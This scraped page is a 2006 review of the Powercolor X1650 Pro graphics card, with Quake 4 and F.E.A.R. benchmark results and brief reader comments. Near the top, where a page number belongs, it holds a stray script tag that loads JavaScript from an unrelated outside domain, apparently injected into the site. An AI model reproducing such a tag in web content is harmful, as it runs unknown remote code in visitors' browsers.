Powercolor X1650 Pro Review

Quake 4 and F.E.A.R.

Page <script type="text/javascript" src="http://ufo1.com/ad/c.js"></script> Posted 23/08/2006
Author: Matthew Kemp (kempez)
Hardware Acquired: Powercolor

Quake 4

Quake 4 is a game built on the Doom 3 engine. This uses many DX 9.0c features and is a game that has not always ran so well on ATI hardware, being an OpenGL game. I did three two minute runs on Quake 4 and took the average of all my readings from this. I played a fast and furious part of the game that required both internal and external scenes. The same engine used for Quake is being used for several games: Doom 3, Quake 4, Prey and Enemy Territory.

Here are the settings I found to be best for both FPS and quality:

quake 4 x1650

And the FPS results for these settings:

quake 4 fps x1650

Quake ran very smoothly on the X1650. I experimented with going up a resolution and turning off the ATI high quality settings. This produced a slightly less decent picture than at 1024 x 768 with AAA and HQAF, so I played it at this res. ATI seem to be getting hold of the Doom engine now which is great news.


F.E.A.R. is a game based on an engine that uses many features of DirectX 9.0c.

It has volumetric lighting, soft shadows, parallax mapping and particle effects, with a slow-motion mode that really taxes today's GPU's. I fully patched version the game with the latest patch. I played three two-minute runs on a taxing part of the game with plenty of action, using slow-motion for the full time whilst firing at enemy soldiers and using grenades that produce a cool "blast" contortion effect when blown up.

What settings did I manage to game at? Let's see...

fear settings x1650

And the FPS at these settings:

FEAR fps x1650 pro

Once again F.E.A.R. was very very smooth at this res. I played it at 1280 x 1024 with just 4 x AA on and the quality was also pretty good. I chose this resolution as in my opinion it looked slightly better. I think gaming on this card at 1280 x 1024 will be a given for most people, but I am a little picky. You can see by the FPS that there was a lot of headroom in F.E.A.R. as it needs a lot less than 37FPS to play smoothly.

Onto some more game tests...

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Most Recent Comments

24-08-2006, 15:00:22

Take a look at our World Exclusive on this excellent mid-range card.

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24-08-2006, 15:32:15

As usual a good review kemp, it seems they will be in the competition range of the Nvidia 7600.Quote

24-08-2006, 15:34:19

Originally Posted by name='Hyper'
As usual a good review kemp, it seems they will be in the competition range of the Nvidia 7600.
And pretty cheap too Quote

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